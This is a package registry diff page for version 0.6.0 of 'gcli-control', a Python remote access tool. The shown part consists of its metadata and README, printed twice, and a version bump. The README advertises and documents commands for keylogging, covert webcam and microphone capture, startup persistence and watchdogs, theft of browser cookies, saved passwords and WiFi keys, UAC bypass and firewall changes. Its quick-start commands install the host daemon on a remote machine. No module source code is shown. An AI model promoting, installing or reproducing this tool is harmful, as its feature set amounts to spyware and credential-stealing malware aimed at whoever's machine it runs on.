gcli-control 0.5.0__tar.gz → 0.6.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (45) hide show
  1. gcli_control-0.6.0/PKG-INFO +327 -0
  2. gcli_control-0.6.0/README.md +298 -0
  3. {gcli_control-0.5.0 → gcli_control-0.6.0}/gcli/__init__.py +1 -1
  4. gcli_control-0.6.0/gcli/browser.py +863 -0
  5. {gcli_control-0.5.0 → gcli_control-0.6.0}/gcli/client.py +159 -0
  6. gcli_control-0.6.0/gcli/elevator.py +630 -0
  7. {gcli_control-0.5.0 → gcli_control-0.6.0}/gcli/host.py +46 -1
  8. gcli_control-0.6.0/gcli/network_config.py +694 -0
  9. gcli_control-0.6.0/gcli/registry.py +510 -0
  10. gcli_control-0.6.0/gcli/wifi.py +696 -0
  11. gcli_control-0.6.0/gcli_control.egg-info/PKG-INFO +327 -0
  12. {gcli_control-0.5.0 → gcli_control-0.6.0}/gcli_control.egg-info/SOURCES.txt +5 -0
  13. {gcli_control-0.5.0 → gcli_control-0.6.0}/pyproject.toml +2 -2
  14. gcli_control-0.5.0/PKG-INFO +0 -143
  15. gcli_control-0.5.0/README.md +0 -114
  16. gcli_control-0.5.0/gcli_control.egg-info/PKG-INFO +0 -143
  17. {gcli_control-0.5.0 → gcli_control-0.6.0}/gcli/__main__.py +0 -0
  18. {gcli_control-0.5.0 → gcli_control-0.6.0}/gcli/aliases.py +0 -0
  19. {gcli_control-0.5.0 → gcli_control-0.6.0}/gcli/audio.py +0 -0
  20. {gcli_control-0.5.0 → gcli_control-0.6.0}/gcli/automation.py +0 -0
  21. {gcli_control-0.5.0 → gcli_control-0.6.0}/gcli/clipboard.py +0 -0
  22. {gcli_control-0.5.0 → gcli_control-0.6.0}/gcli/colors.py +0 -0
  23. {gcli_control-0.5.0 → gcli_control-0.6.0}/gcli/crypto.py +0 -0
  24. {gcli_control-0.5.0 → gcli_control-0.6.0}/gcli/fileops.py +0 -0
  25. {gcli_control-0.5.0 → gcli_control-0.6.0}/gcli/forensics.py +0 -0
  26. {gcli_control-0.5.0 → gcli_control-0.6.0}/gcli/keylog.py +0 -0
  27. {gcli_control-0.5.0 → gcli_control-0.6.0}/gcli/monitoring.py +0 -0
  28. {gcli_control-0.5.0 → gcli_control-0.6.0}/gcli/netutils.py +0 -0
  29. {gcli_control-0.5.0 → gcli_control-0.6.0}/gcli/npoint.py +0 -0
  30. {gcli_control-0.5.0 → gcli_control-0.6.0}/gcli/output.py +0 -0
  31. {gcli_control-0.5.0 → gcli_control-0.6.0}/gcli/persistence.py +0 -0
  32. {gcli_control-0.5.0 → gcli_control-0.6.0}/gcli/processes.py +0 -0
  33. {gcli_control-0.5.0 → gcli_control-0.6.0}/gcli/protocol.py +0 -0
  34. {gcli_control-0.5.0 → gcli_control-0.6.0}/gcli/security.py +0 -0
  35. {gcli_control-0.5.0 → gcli_control-0.6.0}/gcli/session.py +0 -0
  36. {gcli_control-0.5.0 → gcli_control-0.6.0}/gcli/system.py +0 -0
  37. {gcli_control-0.5.0 → gcli_control-0.6.0}/gcli/transfer.py +0 -0
  38. {gcli_control-0.5.0 → gcli_control-0.6.0}/gcli/utils.py +0 -0
  39. {gcli_control-0.5.0 → gcli_control-0.6.0}/gcli/webcam.py +0 -0
  40. {gcli_control-0.5.0 → gcli_control-0.6.0}/gcli_control.egg-info/dependency_links.txt +0 -0
  41. {gcli_control-0.5.0 → gcli_control-0.6.0}/gcli_control.egg-info/entry_points.txt +0 -0
  42. {gcli_control-0.5.0 → gcli_control-0.6.0}/gcli_control.egg-info/requires.txt +0 -0
  43. {gcli_control-0.5.0 → gcli_control-0.6.0}/gcli_control.egg-info/top_level.txt +0 -0
  44. {gcli_control-0.5.0 → gcli_control-0.6.0}/setup.cfg +0 -0
  45. {gcli_control-0.5.0 → gcli_control-0.6.0}/tests/test_integration.py +0 -0
@@ -0,0 +1,327 @@
1
+ Metadata-Version: 2.4
2
+ Name: gcli-control
3
+ Version: 0.6.0
4
+ Summary: Remote access tool via npoint.io - encrypted relay with webcam, audio, keylogger, persistence, browser data, WiFi, registry, and 120+ commands
5
+ Author: gcli contributors
6
+ License-Expression: MIT
7
+ Project-URL: Homepage, https://github.com/gcli-control/gcli
8
+ Project-URL: Repository, https://github.com/gcli-control/gcli
9
+ Project-URL: Issues, https://github.com/gcli-control/gcli/issues
10
+ Keywords: remote-access,npoint,encrypted,ssh,aes256
11
+ Classifier: Development Status :: 4 - Beta
12
+ Classifier: Intended Audience :: Developers
13
+ Classifier: Intended Audience :: System Administrators
14
+ Classifier: Operating System :: Microsoft :: Windows
15
+ Classifier: Operating System :: POSIX :: Linux
16
+ Classifier: Operating System :: MacOS
17
+ Classifier: Programming Language :: Python :: 3
18
+ Classifier: Programming Language :: Python :: 3.8
19
+ Classifier: Programming Language :: Python :: 3.9
20
+ Classifier: Programming Language :: Python :: 3.10
21
+ Classifier: Programming Language :: Python :: 3.11
22
+ Classifier: Programming Language :: Python :: 3.12
23
+ Classifier: Programming Language :: Python :: 3.13
24
+ Classifier: Topic :: System :: Systems Administration
25
+ Classifier: Topic :: Security :: Cryptography
26
+ Requires-Python: >=3.8
27
+ Description-Content-Type: text/markdown
28
+ Requires-Dist: cryptography>=41.0
29
+
30
+ # gcli — Remote Access Tool via npoint.io
31
+
32
+ Encrypted command relay over [npoint.io](https://npoint.io) JSON bins. AES-256-GCM encryption, cross-platform, 100+ commands.
33
+
34
+ ```
35
+ ┌──────────┐ commands ┌─────────────┐ commands ┌──────────┐
36
+ │ gcli ssh │ ───────────────> │ npoint.io │ ───────────────> │gcli host │
37
+ │ (client) │ <─────────────── │ (JSON bin) │ <─────────────── │ (daemon) │
38
+ └──────────┘ results └─────────────┘ results └──────────┘
39
+ ```
40
+
41
+ ## Install
42
+
43
+ ```bash
44
+ pip install gcli-control
45
+ ```
46
+
47
+ ## Quick Start
48
+
49
+ **Host (remote machine):**
50
+ ```bash
51
+ gcli host --password MySecret123
52
+ gcli host --password MySecret123 --foreground # debug mode
53
+ ```
54
+
55
+ **Client (your machine):**
56
+ ```bash
57
+ gcli ssh --password MySecret123
58
+ ```
59
+
60
+ **Stop host:**
61
+ ```bash
62
+ gcli stop
63
+ ```
64
+
65
+ ## Security
66
+
67
+ - AES-256-GCM encryption with PBKDF2 key derivation (600K iterations)
68
+ - zlib compression before encryption (60-80% payload reduction)
69
+ - PBKDF2 key caching (~150ms saved per operation)
70
+ - Password never leaves your machine — only encrypted payloads
71
+ - Built-in tamper detection (GCM authentication tag)
72
+ - Persistent HTTPS connection reuse (reduced TLS handshake overhead)
73
+
74
+ ## Command Reference
75
+
76
+ ### Core Commands
77
+
78
+ | Command | Description |
79
+ |---------|-------------|
80
+ | Any text | Execute shell command on remote host |
81
+ | `:help` | Show available commands |
82
+ | `:info` | Remote system info (hostname, OS, user, IP) |
83
+ | `:ping` | Ping remote host (show latency) |
84
+ | `:upload <local> <remote>` | Upload file to remote host |
85
+ | `:download <remote> <local>` | Download file from remote host |
86
+ | `:timeout <seconds>` | Set exec timeout |
87
+ | `:history` | Command history |
88
+
89
+ ### File Operations
90
+
91
+ | Command | Description |
92
+ |---------|-------------|
93
+ | `:ls [path]` | List directory |
94
+ | `:tree [path] [depth]` | Directory tree |
95
+ | `:mkdir <path>` | Create directory |
96
+ | `:rm <path>` | Delete file |
97
+ | `:find <pattern>` | Find files by glob |
98
+ | `:stat <path>` | File info |
99
+
100
+ ### Process & Monitoring
101
+
102
+ | Command | Description |
103
+ |---------|-------------|
104
+ | `:ps [limit]` | List processes |
105
+ | `:kill <pid>` | Kill process |
106
+ | `:uptime` | Remote uptime |
107
+ | `:cpu` | CPU usage |
108
+ | `:mem` | Memory usage |
109
+ | `:disk [path]` | Disk usage |
110
+ | `:top [limit]` | Top processes by CPU |
111
+
112
+ ### Clipboard & Network
113
+
114
+ | Command | Description |
115
+ |---------|-------------|
116
+ | `:clipget` | Get remote clipboard |
117
+ | `:clipset <text>` | Set remote clipboard |
118
+ | `:clipclear` | Clear clipboard |
119
+ | `:dns <host>` | DNS lookup |
120
+ | `:portcheck <host> <port>` | Check port |
121
+
122
+ ### Aliases & Scripts
123
+
124
+ | Command | Description |
125
+ |---------|-------------|
126
+ | `:alias <n> <cmd>` | Create alias |
127
+ | `:aliases` | List aliases |
128
+ | `:script <c1; c2>` | Run script (semicolons) |
129
+
130
+ ### Security
131
+
132
+ | Command | Description |
133
+ |---------|-------------|
134
+ | `:audit` | View audit log |
135
+ | `:threat <cmd>` | Check threat level |
136
+ | `:lock` | Lock session |
137
+ | `:unlock` | Unlock session |
138
+
139
+ ### Advanced System
140
+
141
+ | Command | Description |
142
+ |---------|-------------|
143
+ | `:netstat` | Active network connections |
144
+ | `:services [list\|start\|stop] <name>` | Manage services |
145
+ | `:screenshot` | Capture remote screen |
146
+ | `:history [n]` | Remote shell history |
147
+ | `:envset <K> <V>` | Set env variable on host |
148
+ | `:grep <pattern> [path] [ext]` | Search files |
149
+ | `:partitions` | Disk partitions |
150
+ | `:whoami` | Remote user info |
151
+
152
+ ### Automation
153
+
154
+ | Command | Description |
155
+ |---------|-------------|
156
+ | `:bulk <c1; c2>` | Bulk execute commands |
157
+ | `:repeat <cmd> <n>` | Repeat command N times |
158
+ | `:cron` | List scheduled tasks |
159
+ | `:cron add <name> <cmd>` | Add scheduled task |
160
+ | `:cron rm <name>` | Remove scheduled task |
161
+ | `:snapshot` | Full env snapshot |
162
+ | `:waitport <host> <port>` | Wait for port to open |
163
+
164
+ ### Forensics
165
+
166
+ | Command | Description |
167
+ |---------|-------------|
168
+ | `:hash <path> [algo]` | File hash (md5/sha1/sha256/all) |
169
+ | `:integrity <create\|verify> [path]` | File integrity baseline |
170
+ | `:recent [hours]` | Recently modified files |
171
+ | `:portprocess <port>` | Find process by port |
172
+ | `:usb` | List USB devices |
173
+ | `:suspicious` | Flag suspicious processes |
174
+ | `:openfiles <pid>` | List open files for process |
175
+ | `:envaudit` | Audit env for secrets |
176
+ | `:startup` | List startup programs |
177
+
178
+ ### Transfer
179
+
180
+ | Command | Description |
181
+ |---------|-------------|
182
+ | `:verify <path> <sha256>` | Verify file integrity |
183
+ | `:diff <a> <b>` | Diff two files |
184
+ | `:split <path> [size]` | Split file into pieces |
185
+ | `:merge <pattern> <out>` | Merge split files |
186
+
187
+ ### Webcam & Audio
188
+
189
+ | Command | Description |
190
+ |---------|-------------|
191
+ | `:camlist` | List cameras |
192
+ | `:camcapture [id]` | Capture photo |
193
+ | `:camrecord [id] [sec]` | Record video |
194
+ | `:caminfo [id]` | Camera info |
195
+ | `:audiodevices` | List microphones |
196
+ | `:audiorecord [sec] [dev]` | Record audio |
197
+ | `:audioinfo` | Audio system info |
198
+ | `:audiolevel` | Current mic level |
199
+
200
+ ### Keylogger
201
+
202
+ | Command | Description |
203
+ |---------|-------------|
204
+ | `:keylogstart` | Start key capture |
205
+ | `:keylogstop` | Stop key capture |
206
+ | `:keylogread [n]` | Read captured keys |
207
+ | `:keylogstatus` | Keylogger status |
208
+ | `:keylogsave [path]` | Save keys to file |
209
+
210
+ ### Persistence
211
+
212
+ | Command | Description |
213
+ |---------|-------------|
214
+ | `:persist` | Full persistence status |
215
+ | `:persist install [method]` | Install startup |
216
+ | `:persist remove` | Remove startup |
217
+ | `:persist list` | List persistence |
218
+ | `:persist schedule` | Install scheduled task |
219
+ | `:persist unschedule` | Remove scheduled task |
220
+ | `:persist watchdog` | Install watchdog |
221
+ | `:persist unwatchdog` | Remove watchdog |
222
+
223
+ ### Browser Data
224
+
225
+ | Command | Description |
226
+ |---------|-------------|
227
+ | `:browsers` | List detected browsers |
228
+ | `:bhistory [browser] [n]` | Browser history |
229
+ | `:bcookies [browser]` | Browser cookies |
230
+ | `:bbookmarks [browser]` | Browser bookmarks |
231
+ | `:bdownloads [browser]` | Download history |
232
+ | `:bpasswords [browser]` | Saved passwords |
233
+
234
+ ### WiFi
235
+
236
+ | Command | Description |
237
+ |---------|-------------|
238
+ | `:wifistatus` | WiFi connection status |
239
+ | `:wifiscan` | Scan nearby networks |
240
+ | `:wifilist` | Saved WiFi profiles |
241
+ | `:wificonnect <ssid> [pw]` | Connect to WiFi |
242
+ | `:wifidisconnect` | Disconnect WiFi |
243
+ | `:wifipassword <ssid>` | Show saved password |
244
+ | `:wififorget <ssid>` | Remove saved profile |
245
+
246
+ ### Privilege & Elevation
247
+
248
+ | Command | Description |
249
+ |---------|-------------|
250
+ | `:checkadmin` | Check admin/root status |
251
+ | `:elevate` | Attempt UAC bypass (Windows) |
252
+ | `:sudo <cmd>` | Run command as root |
253
+ | `:sysinfo` | Detailed system info |
254
+
255
+ ### Network Config
256
+
257
+ | Command | Description |
258
+ |---------|-------------|
259
+ | `:interfaces` | List network interfaces |
260
+ | `:dns <iface> <servers>` | Set DNS servers |
261
+ | `:proxy <h> <p> \| off` | Set/clear proxy |
262
+ | `:firewall` | Firewall status |
263
+ | `:fwallow <port> [name]` | Allow port in firewall |
264
+ | `:arp` | ARP table |
265
+ | `:hosts <ip> <host>` | Add hosts file entry |
266
+
267
+ ### Registry (Windows)
268
+
269
+ | Command | Description |
270
+ |---------|-------------|
271
+ | `:reglist <key>` | List values in key |
272
+ | `:regread <key> [val]` | Read registry value |
273
+ | `:regwrite <key> <n> <v>` | Write value |
274
+ | `:regdelete <key> <val>` | Delete value |
275
+ | `:regsubkeys <key>` | List subkeys |
276
+ | `:regsearch <query>` | Search registry |
277
+
278
+ ## Architecture
279
+
280
+ ```
281
+ gcli/
282
+ ├── __main__.py # CLI entry point
283
+ ├── __init__.py
284
+ ├── crypto.py # AES-256-GCM + PBKDF2 key cache + zlib compression
285
+ ├── npoint.py # npoint.io API (persistent HTTPS connection pool)
286
+ ├── protocol.py # Document structure, race-condition safe append
287
+ ├── host.py # Daemon: poll → decrypt → dispatch → encrypt → respond
288
+ ├── client.py # SSH REPL with 100+ commands
289
+ ├── utils.py # PID management, detach, system_info
290
+ ├── colors.py # Cross-platform ANSI colors
291
+ ├── session.py # Handshake, heartbeat, key rotation
292
+ ├── fileops.py # ls, tree, mkdir, rm, stat, cp, mv, find, du
293
+ ├── processes.py # ps, kill, process_info, env, uptime, network_info
294
+ ├── clipboard.py # Clipboard sync
295
+ ├── netutils.py # HTTP, DNS, port check, traceroute, speed test
296
+ ├── aliases.py # Command aliases & scripting
297
+ ├── security.py # Rate limiting, audit log, threat detection
298
+ ├── output.py # Pagination, syntax highlighting, diff format
299
+ ├── monitoring.py # CPU, memory, disk, processes, temperature
300
+ ├── system.py # Netstat, services, screenshot, shell history, grep
301
+ ├── automation.py # Bulk exec, repeat, cron, watchdog, env snapshot
302
+ ├── forensics.py # File hash, integrity, recent files, USB, suspicious processes
303
+ ├── transfer.py # Chunked file transfer, checksum, diff, split/merge
304
+ ├── webcam.py # Camera capture & recording
305
+ ├── audio.py # Microphone recording & levels
306
+ ├── keylog.py # Keystroke capture
307
+ ├── persistence.py # Startup, scheduled tasks, watchdog
308
+ ├── browser.py # Browser history, cookies, bookmarks, passwords
309
+ ├── wifi.py # WiFi management (scan, connect, profiles)
310
+ ├── elevator.py # Privilege escalation (UAC bypass, sudo)
311
+ ├── network_config.py # DNS, proxy, firewall, ARP, hosts
312
+ └── registry.py # Windows registry operations
313
+ ```
314
+
315
+ ## Requirements
316
+
317
+ - Python 3.8+
318
+ - `cryptography` package (required)
319
+ - `psutil` (optional — better process/system monitoring)
320
+ - `sounddevice` (optional — audio recording)
321
+ - `opencv-python` (optional — webcam capture)
322
+ - `pynput` (optional — keylogging on Linux/macOS)
323
+ - Internet connection (for npoint.io)
324
+
325
+ ## License
326
+
327
+ MIT
@@ -0,0 +1,298 @@
1
+ # gcli — Remote Access Tool via npoint.io
2
+
3
+ Encrypted command relay over [npoint.io](https://npoint.io) JSON bins. AES-256-GCM encryption, cross-platform, 100+ commands.
4
+
5
+ ```
6
+ ┌──────────┐ commands ┌─────────────┐ commands ┌──────────┐
7
+ │ gcli ssh │ ───────────────> │ npoint.io │ ───────────────> │gcli host │
8
+ │ (client) │ <─────────────── │ (JSON bin) │ <─────────────── │ (daemon) │
9
+ └──────────┘ results └─────────────┘ results └──────────┘
10
+ ```
11
+
12
+ ## Install
13
+
14
+ ```bash
15
+ pip install gcli-control
16
+ ```
17
+
18
+ ## Quick Start
19
+
20
+ **Host (remote machine):**
21
+ ```bash
22
+ gcli host --password MySecret123
23
+ gcli host --password MySecret123 --foreground # debug mode
24
+ ```
25
+
26
+ **Client (your machine):**
27
+ ```bash
28
+ gcli ssh --password MySecret123
29
+ ```
30
+
31
+ **Stop host:**
32
+ ```bash
33
+ gcli stop
34
+ ```
35
+
36
+ ## Security
37
+
38
+ - AES-256-GCM encryption with PBKDF2 key derivation (600K iterations)
39
+ - zlib compression before encryption (60-80% payload reduction)
40
+ - PBKDF2 key caching (~150ms saved per operation)
41
+ - Password never leaves your machine — only encrypted payloads
42
+ - Built-in tamper detection (GCM authentication tag)
43
+ - Persistent HTTPS connection reuse (reduced TLS handshake overhead)
44
+
45
+ ## Command Reference
46
+
47
+ ### Core Commands
48
+
49
+ | Command | Description |
50
+ |---------|-------------|
51
+ | Any text | Execute shell command on remote host |
52
+ | `:help` | Show available commands |
53
+ | `:info` | Remote system info (hostname, OS, user, IP) |
54
+ | `:ping` | Ping remote host (show latency) |
55
+ | `:upload <local> <remote>` | Upload file to remote host |
56
+ | `:download <remote> <local>` | Download file from remote host |
57
+ | `:timeout <seconds>` | Set exec timeout |
58
+ | `:history` | Command history |
59
+
60
+ ### File Operations
61
+
62
+ | Command | Description |
63
+ |---------|-------------|
64
+ | `:ls [path]` | List directory |
65
+ | `:tree [path] [depth]` | Directory tree |
66
+ | `:mkdir <path>` | Create directory |
67
+ | `:rm <path>` | Delete file |
68
+ | `:find <pattern>` | Find files by glob |
69
+ | `:stat <path>` | File info |
70
+
71
+ ### Process & Monitoring
72
+
73
+ | Command | Description |
74
+ |---------|-------------|
75
+ | `:ps [limit]` | List processes |
76
+ | `:kill <pid>` | Kill process |
77
+ | `:uptime` | Remote uptime |
78
+ | `:cpu` | CPU usage |
79
+ | `:mem` | Memory usage |
80
+ | `:disk [path]` | Disk usage |
81
+ | `:top [limit]` | Top processes by CPU |
82
+
83
+ ### Clipboard & Network
84
+
85
+ | Command | Description |
86
+ |---------|-------------|
87
+ | `:clipget` | Get remote clipboard |
88
+ | `:clipset <text>` | Set remote clipboard |
89
+ | `:clipclear` | Clear clipboard |
90
+ | `:dns <host>` | DNS lookup |
91
+ | `:portcheck <host> <port>` | Check port |
92
+
93
+ ### Aliases & Scripts
94
+
95
+ | Command | Description |
96
+ |---------|-------------|
97
+ | `:alias <n> <cmd>` | Create alias |
98
+ | `:aliases` | List aliases |
99
+ | `:script <c1; c2>` | Run script (semicolons) |
100
+
101
+ ### Security
102
+
103
+ | Command | Description |
104
+ |---------|-------------|
105
+ | `:audit` | View audit log |
106
+ | `:threat <cmd>` | Check threat level |
107
+ | `:lock` | Lock session |
108
+ | `:unlock` | Unlock session |
109
+
110
+ ### Advanced System
111
+
112
+ | Command | Description |
113
+ |---------|-------------|
114
+ | `:netstat` | Active network connections |
115
+ | `:services [list\|start\|stop] <name>` | Manage services |
116
+ | `:screenshot` | Capture remote screen |
117
+ | `:history [n]` | Remote shell history |
118
+ | `:envset <K> <V>` | Set env variable on host |
119
+ | `:grep <pattern> [path] [ext]` | Search files |
120
+ | `:partitions` | Disk partitions |
121
+ | `:whoami` | Remote user info |
122
+
123
+ ### Automation
124
+
125
+ | Command | Description |
126
+ |---------|-------------|
127
+ | `:bulk <c1; c2>` | Bulk execute commands |
128
+ | `:repeat <cmd> <n>` | Repeat command N times |
129
+ | `:cron` | List scheduled tasks |
130
+ | `:cron add <name> <cmd>` | Add scheduled task |
131
+ | `:cron rm <name>` | Remove scheduled task |
132
+ | `:snapshot` | Full env snapshot |
133
+ | `:waitport <host> <port>` | Wait for port to open |
134
+
135
+ ### Forensics
136
+
137
+ | Command | Description |
138
+ |---------|-------------|
139
+ | `:hash <path> [algo]` | File hash (md5/sha1/sha256/all) |
140
+ | `:integrity <create\|verify> [path]` | File integrity baseline |
141
+ | `:recent [hours]` | Recently modified files |
142
+ | `:portprocess <port>` | Find process by port |
143
+ | `:usb` | List USB devices |
144
+ | `:suspicious` | Flag suspicious processes |
145
+ | `:openfiles <pid>` | List open files for process |
146
+ | `:envaudit` | Audit env for secrets |
147
+ | `:startup` | List startup programs |
148
+
149
+ ### Transfer
150
+
151
+ | Command | Description |
152
+ |---------|-------------|
153
+ | `:verify <path> <sha256>` | Verify file integrity |
154
+ | `:diff <a> <b>` | Diff two files |
155
+ | `:split <path> [size]` | Split file into pieces |
156
+ | `:merge <pattern> <out>` | Merge split files |
157
+
158
+ ### Webcam & Audio
159
+
160
+ | Command | Description |
161
+ |---------|-------------|
162
+ | `:camlist` | List cameras |
163
+ | `:camcapture [id]` | Capture photo |
164
+ | `:camrecord [id] [sec]` | Record video |
165
+ | `:caminfo [id]` | Camera info |
166
+ | `:audiodevices` | List microphones |
167
+ | `:audiorecord [sec] [dev]` | Record audio |
168
+ | `:audioinfo` | Audio system info |
169
+ | `:audiolevel` | Current mic level |
170
+
171
+ ### Keylogger
172
+
173
+ | Command | Description |
174
+ |---------|-------------|
175
+ | `:keylogstart` | Start key capture |
176
+ | `:keylogstop` | Stop key capture |
177
+ | `:keylogread [n]` | Read captured keys |
178
+ | `:keylogstatus` | Keylogger status |
179
+ | `:keylogsave [path]` | Save keys to file |
180
+
181
+ ### Persistence
182
+
183
+ | Command | Description |
184
+ |---------|-------------|
185
+ | `:persist` | Full persistence status |
186
+ | `:persist install [method]` | Install startup |
187
+ | `:persist remove` | Remove startup |
188
+ | `:persist list` | List persistence |
189
+ | `:persist schedule` | Install scheduled task |
190
+ | `:persist unschedule` | Remove scheduled task |
191
+ | `:persist watchdog` | Install watchdog |
192
+ | `:persist unwatchdog` | Remove watchdog |
193
+
194
+ ### Browser Data
195
+
196
+ | Command | Description |
197
+ |---------|-------------|
198
+ | `:browsers` | List detected browsers |
199
+ | `:bhistory [browser] [n]` | Browser history |
200
+ | `:bcookies [browser]` | Browser cookies |
201
+ | `:bbookmarks [browser]` | Browser bookmarks |
202
+ | `:bdownloads [browser]` | Download history |
203
+ | `:bpasswords [browser]` | Saved passwords |
204
+
205
+ ### WiFi
206
+
207
+ | Command | Description |
208
+ |---------|-------------|
209
+ | `:wifistatus` | WiFi connection status |
210
+ | `:wifiscan` | Scan nearby networks |
211
+ | `:wifilist` | Saved WiFi profiles |
212
+ | `:wificonnect <ssid> [pw]` | Connect to WiFi |
213
+ | `:wifidisconnect` | Disconnect WiFi |
214
+ | `:wifipassword <ssid>` | Show saved password |
215
+ | `:wififorget <ssid>` | Remove saved profile |
216
+
217
+ ### Privilege & Elevation
218
+
219
+ | Command | Description |
220
+ |---------|-------------|
221
+ | `:checkadmin` | Check admin/root status |
222
+ | `:elevate` | Attempt UAC bypass (Windows) |
223
+ | `:sudo <cmd>` | Run command as root |
224
+ | `:sysinfo` | Detailed system info |
225
+
226
+ ### Network Config
227
+
228
+ | Command | Description |
229
+ |---------|-------------|
230
+ | `:interfaces` | List network interfaces |
231
+ | `:dns <iface> <servers>` | Set DNS servers |
232
+ | `:proxy <h> <p> \| off` | Set/clear proxy |
233
+ | `:firewall` | Firewall status |
234
+ | `:fwallow <port> [name]` | Allow port in firewall |
235
+ | `:arp` | ARP table |
236
+ | `:hosts <ip> <host>` | Add hosts file entry |
237
+
238
+ ### Registry (Windows)
239
+
240
+ | Command | Description |
241
+ |---------|-------------|
242
+ | `:reglist <key>` | List values in key |
243
+ | `:regread <key> [val]` | Read registry value |
244
+ | `:regwrite <key> <n> <v>` | Write value |
245
+ | `:regdelete <key> <val>` | Delete value |
246
+ | `:regsubkeys <key>` | List subkeys |
247
+ | `:regsearch <query>` | Search registry |
248
+
249
+ ## Architecture
250
+
251
+ ```
252
+ gcli/
253
+ ├── __main__.py # CLI entry point
254
+ ├── __init__.py
255
+ ├── crypto.py # AES-256-GCM + PBKDF2 key cache + zlib compression
256
+ ├── npoint.py # npoint.io API (persistent HTTPS connection pool)
257
+ ├── protocol.py # Document structure, race-condition safe append
258
+ ├── host.py # Daemon: poll → decrypt → dispatch → encrypt → respond
259
+ ├── client.py # SSH REPL with 100+ commands
260
+ ├── utils.py # PID management, detach, system_info
261
+ ├── colors.py # Cross-platform ANSI colors
262
+ ├── session.py # Handshake, heartbeat, key rotation
263
+ ├── fileops.py # ls, tree, mkdir, rm, stat, cp, mv, find, du
264
+ ├── processes.py # ps, kill, process_info, env, uptime, network_info
265
+ ├── clipboard.py # Clipboard sync
266
+ ├── netutils.py # HTTP, DNS, port check, traceroute, speed test
267
+ ├── aliases.py # Command aliases & scripting
268
+ ├── security.py # Rate limiting, audit log, threat detection
269
+ ├── output.py # Pagination, syntax highlighting, diff format
270
+ ├── monitoring.py # CPU, memory, disk, processes, temperature
271
+ ├── system.py # Netstat, services, screenshot, shell history, grep
272
+ ├── automation.py # Bulk exec, repeat, cron, watchdog, env snapshot
273
+ ├── forensics.py # File hash, integrity, recent files, USB, suspicious processes
274
+ ├── transfer.py # Chunked file transfer, checksum, diff, split/merge
275
+ ├── webcam.py # Camera capture & recording
276
+ ├── audio.py # Microphone recording & levels
277
+ ├── keylog.py # Keystroke capture
278
+ ├── persistence.py # Startup, scheduled tasks, watchdog
279
+ ├── browser.py # Browser history, cookies, bookmarks, passwords
280
+ ├── wifi.py # WiFi management (scan, connect, profiles)
281
+ ├── elevator.py # Privilege escalation (UAC bypass, sudo)
282
+ ├── network_config.py # DNS, proxy, firewall, ARP, hosts
283
+ └── registry.py # Windows registry operations
284
+ ```
285
+
286
+ ## Requirements
287
+
288
+ - Python 3.8+
289
+ - `cryptography` package (required)
290
+ - `psutil` (optional — better process/system monitoring)
291
+ - `sounddevice` (optional — audio recording)
292
+ - `opencv-python` (optional — webcam capture)
293
+ - `pynput` (optional — keylogging on Linux/macOS)
294
+ - Internet connection (for npoint.io)
295
+
296
+ ## License
297
+
298
+ MIT
@@ -2,5 +2,5 @@
2
2
  gcli — remote access tool via npoint.io.
3
3
  Encrypted command relay using AES-256-GCM over npoint.io JSON bins.
4
4
  """
5
- __version__ = "0.5.0"
5
+ __version__ = "0.6.0"
6
6
  __author__ = "gcli"